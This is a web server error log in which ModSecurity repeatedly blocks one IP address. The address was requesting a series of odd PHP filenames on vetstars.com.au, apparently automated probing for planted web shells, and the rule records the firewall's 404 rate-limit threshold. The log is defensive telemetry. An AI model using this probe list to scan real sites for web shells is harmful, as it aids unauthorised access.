[Mon Apr 20 20:04:05.135271 2026] [:error] [pid 11494:tid 11497] [client 172.213.242.226:18074] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aeYWNcgko5iFiE8YoyTUuQAAAYE"]
[Mon Apr 20 20:04:06.026454 2026] [:error] [pid 11494:tid 11511] [client 172.213.242.226:18108] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/diayd.php"] [unique_id "aeYWNsgko5iFiE8YoyTUvwAAAY8"]
[Mon Apr 20 20:04:06.766485 2026] [:error] [pid 11494:tid 11506] [client 172.213.242.226:18147] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/diayd.php"] [unique_id "aeYWNsgko5iFiE8YoyTUwQAAAYo"]
[Mon Apr 20 20:04:07.411726 2026] [:error] [pid 42014:tid 42032] [client 172.213.242.226:18073] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/diayd.php"] [unique_id "aeYWN8ek-00-ZI0f1Np5UgAAARA"]
[Mon Apr 20 20:04:07.996949 2026] [:error] [pid 11352:tid 11434] [client 172.213.242.226:18184] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/diayd.php"] [unique_id "aeYWN2l10mhMSfJ7ir_Q7QAAAJQ"]
[Mon Apr 20 20:04:08.479557 2026] [:error] [pid 11350:tid 11382] [client 172.213.242.226:18188] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itlvk.php"] [unique_id "aeYWOP4EoMBgOJuJnT2axQAAABc"]
[Mon Apr 20 20:04:08.964626 2026] [:error] [pid 11350:tid 11372] [client 172.213.242.226:18225] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itlvk.php"] [unique_id "aeYWOP4EoMBgOJuJnT2azQAAAA0"]
[Mon Apr 20 20:04:09.584929 2026] [:error] [pid 11352:tid 11430] [client 172.213.242.226:12996] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itlvk.php"] [unique_id "aeYWOWl10mhMSfJ7ir_Q7wAAAJA"]
[Mon Apr 20 20:04:10.263155 2026] [:error] [pid 11494:tid 11515] [client 172.213.242.226:18185] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itlvk.php"] [unique_id "aeYWOsgko5iFiE8YoyTUyAAAAZM"]
[Mon Apr 20 20:04:10.797211 2026] [:error] [pid 11351:tid 11397] [client 172.213.242.226:13024] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/home.php"] [unique_id "aeYWOgN8Z1-vktaI_tPuigAAAEo"]
[Mon Apr 20 20:04:11.545688 2026] [:error] [pid 11350:tid 11363] [client 172.213.242.226:18053] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/home.php"] [unique_id "aeYWO_4EoMBgOJuJnT2a2gAAAAQ"]
[Mon Apr 20 20:04:12.029105 2026] [:error] [pid 11350:tid 11370] [client 172.213.242.226:18184] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/home.php"] [unique_id "aeYWPP4EoMBgOJuJnT2a3wAAAAs"]
[Mon Apr 20 20:04:12.539855 2026] [:error] [pid 11351:tid 11393] [client 172.213.242.226:18173] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/home.php"] [unique_id "aeYWPAN8Z1-vktaI_tPujAAAAEY"]
[Mon Apr 20 20:04:13.180056 2026] [:error] [pid 11350:tid 11377] [client 172.213.242.226:13007] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeYWPf4EoMBgOJuJnT2a6gAAABI"]
[Mon Apr 20 20:04:13.714157 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:18244] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeYWPf4EoMBgOJuJnT2a7QAAABg"]
[Mon Apr 20 20:04:14.363757 2026] [:error] [pid 11350:tid 11362] [client 172.213.242.226:18135] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeYWPv4EoMBgOJuJnT2a9QAAAAM"]
[Mon Apr 20 20:04:14.924771 2026] [:error] [pid 11350:tid 11366] [client 172.213.242.226:18072] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeYWPv4EoMBgOJuJnT2a-wAAAAc"]
[Mon Apr 20 20:04:15.390352 2026] [:error] [pid 11494:tid 11496] [client 172.213.242.226:18065] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aeYWP8gko5iFiE8YoyTUzQAAAYA"]
[Mon Apr 20 20:04:15.865378 2026] [:error] [pid 11494:tid 11501] [client 172.213.242.226:18132] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aeYWP8gko5iFiE8YoyTU0wAAAYU"]
[Mon Apr 20 20:04:16.726225 2026] [:error] [pid 42014:tid 42033] [client 172.213.242.226:18100] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aeYWQMek-00-ZI0f1Np5dwAAARE"]
[Mon Apr 20 20:04:17.466889 2026] [:error] [pid 11351:tid 11398] [client 172.213.242.226:13013] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aeYWQQN8Z1-vktaI_tPujwAAAEs"]
[Mon Apr 20 20:04:18.066549 2026] [:error] [pid 11350:tid 11362] [client 172.213.242.226:18097] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeYWQv4EoMBgOJuJnT2bEAAAAAM"]
[Mon Apr 20 20:04:18.558846 2026] [:error] [pid 11351:tid 11389] [client 172.213.242.226:18156] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeYWQgN8Z1-vktaI_tPukQAAAEI"]
[Mon Apr 20 20:04:19.025340 2026] [:error] [pid 11350:tid 11381] [client 172.213.242.226:18119] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeYWQ_4EoMBgOJuJnT2bGAAAABY"]
[Mon Apr 20 20:04:19.499413 2026] [:error] [pid 11350:tid 11378] [client 172.213.242.226:18113] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeYWQ_4EoMBgOJuJnT2bGgAAABM"]
[Mon Apr 20 20:04:20.036396 2026] [:error] [pid 11494:tid 11503] [client 172.213.242.226:18076] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krntz.php"] [unique_id "aeYWRMgko5iFiE8YoyTU3gAAAYc"]
[Mon Apr 20 20:04:20.540276 2026] [:error] [pid 6928:tid 6954] [client 172.213.242.226:18139] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krntz.php"] [unique_id "aeYWRB3y7MHq1iB0qYqmbwAAAVg"]
[Mon Apr 20 20:04:21.548344 2026] [:error] [pid 42014:tid 42031] [client 172.213.242.226:13000] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krntz.php"] [unique_id "aeYWRcek-00-ZI0f1Np5hAAAAQ8"]
[Mon Apr 20 20:04:22.598177 2026] [:error] [pid 11351:tid 11402] [client 172.213.242.226:18105] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krntz.php"] [unique_id "aeYWRgN8Z1-vktaI_tPupwAAAE8"]
[Mon Apr 20 20:04:23.871503 2026] [:error] [pid 11351:tid 11388] [client 172.213.242.226:18138] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3akp.php"] [unique_id "aeYWRwN8Z1-vktaI_tPurQAAAEE"]
[Mon Apr 20 20:04:24.758470 2026] [:error] [pid 11351:tid 11400] [client 172.213.242.226:18104] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3akp.php"] [unique_id "aeYWSAN8Z1-vktaI_tPutAAAAE0"]
[Mon Apr 20 20:04:25.259271 2026] [:error] [pid 11350:tid 11379] [client 172.213.242.226:13009] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3akp.php"] [unique_id "aeYWSf4EoMBgOJuJnT2bPAAAABQ"]
[Mon Apr 20 20:04:25.952453 2026] [:error] [pid 11441:tid 11446] [client 172.213.242.226:18099] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3akp.php"] [unique_id "aeYWScixByFUvmh319CSigAAAMM"]
[Mon Apr 20 20:04:26.504964 2026] [:error] [pid 11350:tid 11377] [client 172.213.242.226:13012] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aeYWSv4EoMBgOJuJnT2bRQAAABI"]
[Mon Apr 20 20:04:27.075837 2026] [:error] [pid 11350:tid 11381] [client 172.213.242.226:18171] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aeYWS_4EoMBgOJuJnT2bSQAAABY"]
[Mon Apr 20 20:04:27.647330 2026] [:error] [pid 11350:tid 11363] [client 172.213.242.226:18081] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aeYWS_4EoMBgOJuJnT2bTwAAAAQ"]
[Mon Apr 20 20:04:28.275535 2026] [:error] [pid 11441:tid 11458] [client 172.213.242.226:18107] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aeYWTMixByFUvmh319CSjgAAAM8"]
[Mon Apr 20 20:04:28.784925 2026] [:error] [pid 11351:tid 11407] [client 172.213.242.226:18058] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kagug.php"] [unique_id "aeYWTAN8Z1-vktaI_tPuyQAAAFQ"]
[Mon Apr 20 20:04:29.255321 2026] [:error] [pid 11494:tid 11514] [client 172.213.242.226:18085] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kagug.php"] [unique_id "aeYWTcgko5iFiE8YoyTU7gAAAZI"]
[Mon Apr 20 20:04:30.112517 2026] [:error] [pid 11351:tid 11394] [client 172.213.242.226:18050] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kagug.php"] [unique_id "aeYWTgN8Z1-vktaI_tPu0AAAAEc"]
[Mon Apr 20 20:04:31.129551 2026] [:error] [pid 11351:tid 11399] [client 172.213.242.226:13027] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kagug.php"] [unique_id "aeYWTwN8Z1-vktaI_tPu2AAAAEw"]
[Mon Apr 20 20:04:31.752629 2026] [:error] [pid 11494:tid 11503] [client 172.213.242.226:18157] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aeYWT8gko5iFiE8YoyTVFQAAAYc"]
[Mon Apr 20 20:04:32.231474 2026] [:error] [pid 11352:tid 11426] [client 172.213.242.226:13023] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aeYWUGl10mhMSfJ7ir_RCQAAAIw"]
[Mon Apr 20 20:04:32.795353 2026] [:error] [pid 11494:tid 11500] [client 172.213.242.226:18083] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aeYWUMgko5iFiE8YoyTVHAAAAYQ"]
[Mon Apr 20 20:04:33.323190 2026] [:error] [pid 11494:tid 11515] [client 172.213.242.226:18229] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aeYWUcgko5iFiE8YoyTVHQAAAZM"]
[Mon Apr 20 20:04:34.005294 2026] [:error] [pid 11351:tid 11394] [client 172.213.242.226:12947] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/41.php"] [unique_id "aeYWUgN8Z1-vktaI_tPu5AAAAEc"]
[Mon Apr 20 20:04:34.487171 2026] [:error] [pid 11441:tid 11466] [client 172.213.242.226:18089] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/41.php"] [unique_id "aeYWUsixByFUvmh319CSrwAAANc"]
[Mon Apr 20 20:04:35.097406 2026] [:error] [pid 11441:tid 11446] [client 172.213.242.226:18153] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/41.php"] [unique_id "aeYWU8ixByFUvmh319CSsgAAAMM"]
[Mon Apr 20 20:04:36.364300 2026] [:error] [pid 11350:tid 11375] [client 172.213.242.226:18121] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/41.php"] [unique_id "aeYWVP4EoMBgOJuJnT2bhQAAABA"]
[Mon Apr 20 20:04:37.647955 2026] [:error] [pid 11494:tid 11507] [client 172.213.242.226:12960] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/camara.php"] [unique_id "aeYWVcgko5iFiE8YoyTVKwAAAYs"]
[Mon Apr 20 20:04:38.178468 2026] [:error] [pid 11351:tid 11389] [client 172.213.242.226:13020] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/camara.php"] [unique_id "aeYWVgN8Z1-vktaI_tPu7AAAAEI"]
[Mon Apr 20 20:04:38.727771 2026] [:error] [pid 11351:tid 11406] [client 172.213.242.226:13051] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/camara.php"] [unique_id "aeYWVgN8Z1-vktaI_tPu7QAAAFM"]
[Mon Apr 20 20:04:39.293642 2026] [:error] [pid 11352:tid 11437] [client 172.213.242.226:13055] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/camara.php"] [unique_id "aeYWV2l10mhMSfJ7ir_RFQAAAJc"]
[Mon Apr 20 20:04:39.803738 2026] [:error] [pid 11351:tid 11395] [client 172.213.242.226:12992] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "aeYWVwN8Z1-vktaI_tPu-wAAAEg"]
[Mon Apr 20 20:04:40.318494 2026] [:error] [pid 11351:tid 11388] [client 172.213.242.226:12933] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "aeYWWAN8Z1-vktaI_tPu_gAAAEE"]
[Mon Apr 20 20:04:40.832321 2026] [:error] [pid 11494:tid 11515] [client 172.213.242.226:18061] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "aeYWWMgko5iFiE8YoyTVOgAAAZM"]
